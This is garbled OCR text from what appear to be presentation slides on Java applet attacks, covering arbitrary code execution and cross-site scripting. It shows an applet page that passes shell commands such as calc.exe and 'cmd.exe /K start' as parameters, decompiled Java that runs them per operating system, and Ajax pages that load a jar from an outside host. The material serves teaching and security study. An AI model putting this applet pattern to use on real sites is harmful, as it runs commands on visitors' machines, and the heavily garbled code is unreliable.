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Applet Attacks

+ Arbitrary code execution

+ XSS - Cross Site Scripting p
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Trusting Applets

What does it mean to trust them?
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j CPU Usage: 0.20%.  Commit Charge: 42.54% Processes: 62




File: applet.htm

<htmlI><head></head>
<body>

<applet width="500" height='500" code='Client.class' archive='clientjar'>
<param name='windows1' value='calc.exe'>

<param name='windows2' value='cmd.exe /K start'>

<param name='unix1" value="notify-send Unix PWWWWNED'>
<param name='unix2' value=">

<param name='linux1" value="notity-send Linux PWWWWNED">
<param name='linux2' value="">

</applet>

</body></html>



¥ s client.jar
v & (default package)
v & Client.class
v O Client
@ Client()
& init() : void
¥ = META-INF
=] MANIFEST.MF
MICROSOF.RSA
=] MICROSOF.SF
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¥ (s client.jar

v i (default package)

v & Client.class
v © Client
@ Client()

& init() : void

¥ (= META-INF

MANIFEST.MF
= MICROSOF.RSA
= MICROSOF.SF

A import javaapplet Applet;
A Import jevado I0Exception;
.o

£ %/ public class Client extends Applet

FAER A

% public woid init))

FA

AN2% String windows 1 = getParameter("windows1';
MA13% Suing windowsZ = getParameter“windows2";
A14% String linux! = getParameter('linux1");

/5% Stning linus2 = getParameter]linus2");

fM1a% sting unikl = getParameter( unio”);

fA7* String unix2 = getParameter( unixZ");

FA8® String os = Systemn getPraperty("os name') toLowerCase();
FA)

AP20% I (osindexOiMwin®) == 0)

PR
M % Process w
Tl A

Pl |

E Process wi = Buntime getRuntimelexeciwindows1);
AT w1l = Runtime gethuntime()execiwindowsZ);

FAN

% cach (0Exception &)
Fale

a1 eprintstackTrace(;
Pl S

Mo

AN

s

36% i losindexOf" mac’) == 0)
T

&% Process uZ;
&Ny

FAN |

Ma Process ul = RuntimegetRuntimea(] exec{unix] );
frazny u2 = Runtime.getRuntime().execiunix2);
AN

M catch I0Exception &) {

fans; eprintStackTrace();

AN

Tl

FA

FAlS

A B (osindexOflin® < 0)

AR Tetum;

% Process |2

PR

AN

AE5% Progess 11 = Runtime getRuntime() execlinuxd);
A6 12 =Runtime.getRuntimelexeclinus2);
Tl A

/% cauch (KOException e} {

A 5a% eprintStackTrace();

Tl |

PRl

MO

#* Location: Awarkspace/IDRACOMI client jar
* Qualified Name:  Client

* Java Class Version: 6{50.0)

* I0-Core Version: 053
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/%
/-X-
/*
/%
/*
/*
/-X-
/*
/%
/*
/*
/-)é

*/ public class Client extends Applet

*/ public void init()

127/
137/
14%/
15%/
167/
17*/
187/

*/

/* 207/

IS

X/

'I'

String windows1 = getParameter("windows1");

String windows?2 = getParameter("windows2");

String linux1 = getParameter("linux1");

String linux2 = getParameter("linux2");

String unix1 = getParameter("unix1”);

String unix2 = getParameter("unix2");

String os = System.getProperty("os.name").toLowerCase();

if (0s.indexOf("win") >=0)



/71D 7/ LMY HNUXZ = gelrdidimneLer lnrnuxs ),

/*16*/  String unix1 = getParameter("unix1”);

/¥ 17 %/ String unix2 = getParameter("unix2");

/*18 %/ String os = System.getProperty("os.name").toLowerCase();
/* */

/*20%/ if (0s.indexOf("win") >= 0)

/* ¥/ Process w2;
/*% Ty

/* 26 %/ Process w1 = Runtime.getRuntime().exec(windows1);
/%27 %/ w2 = Runtime.getRuntime().exec(windows2);

/* */  catch (IOException e)

/* 31 %/ e.printStackTrace();



/* %/

/%

/*50%/ if (0s.indexOf("lin") < 0)

/¥ %/ return;

/* */  Process |2;

/* %)ty

/*55%/  Process IT = Runtime.getRuntime().exec(linux1);
/*56*/ 12 =Runtime.getRuntime().exec(linux2);

/* ¥/ catch (IOException e) {

/*59%/  eprintStackTrace();
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Cross Site Scripting

A High Level View of a typical XSS Attack

. Your Web
Hacker Victim Page VWIWW
I nfect with script
>
Visit
>
Inject script
-
Do something bad
>
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aleri{dmument. myApplet.get( http://bostoncyberdefense. comitest/file. htm'));




Basic Ajax

<html>

<head>

<script type="text/javascript">
function getContent(){

var html = document.myApplet.get(http://bostoncyberdefense.com/test/file.htm’)

alert(html);

)

<[script>

</head>

<body>

<form>

<input type="button"

value="alert(document.myApplet.get('http://bostoncyberdefense.com/test/file.htm’));"
onClick = "getContent();">

</[form>

<applet code="Ajax.class"

archive="http://bostoncyberdefense.com/test/ajax.jar"
name="myApplet"
height="100" width="100">
<[applet>

</body>
<[html>



Basic Ajax

<html>

<head>

<script type="text/javascript">
function getContent(){

var html = document.myApplet.get('http://bostoncyberdefense.comjtest/file.htm')

alert(html);

]

<[script>

</head>

<body>

<form>

<input type="button”

value="alert(document.myApplet.get('http://bostoncyberdefense.com/test/file.htm'))
onClick = "getContent();">

</form>

<applet code="Ajax.class"
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<body>

<form>

<input type="button"

value="alert(document.myApplet.get(‘http://bostoncyberdefen
onClick = "getContent();">

</form>

<applet code="Ajax.class"
archive="http://bostoncyberdefense.com/test/ajax.jar"
name="myApplet"
height="100" width="100">
<lapplet>

</body>
</html>



XSS Ajax

<html>

<head>

<script type="text/javascript”>
function getContent(){

var html =

document.myApplet.get(‘http://hackeradmin.comjtest/’)

alert(html);

)

<[script>

<[head>

<body>

<form>

<input type="button"

value="alert(document.myApplet.get('http://hackeradmin.comj/test/'));"
onClick = "getContent();">

<[form>

<applet code="Ajax.class"

archive="http://hackeradmin.com/test/ajax.jar"
name="myApplet”
height="100" width="100">
</applet>

</body>
</html>



ADD AjaX

<html>

<head>

<script type="text/javascript">
function getContent(){

var html =

document.myApplet.get('http:/[hackeradmin.com/test/')

alert(html);

]

<[script>

<[head>

<body>

<form»>

<input type="button”

value="alert(document.myApplet.get('http://hackeradmin.c



<form>
<input type="button"

value="alert(document.myApplet.get('http://hackeradmi
onClick = "getContent();">

</form>

<applet code="Ajax.class"
archive="http://hackeradmin.com/test/ajax.jar"
name="myApplet"
height="100" width="100">
</applet>

</body>
<[html>
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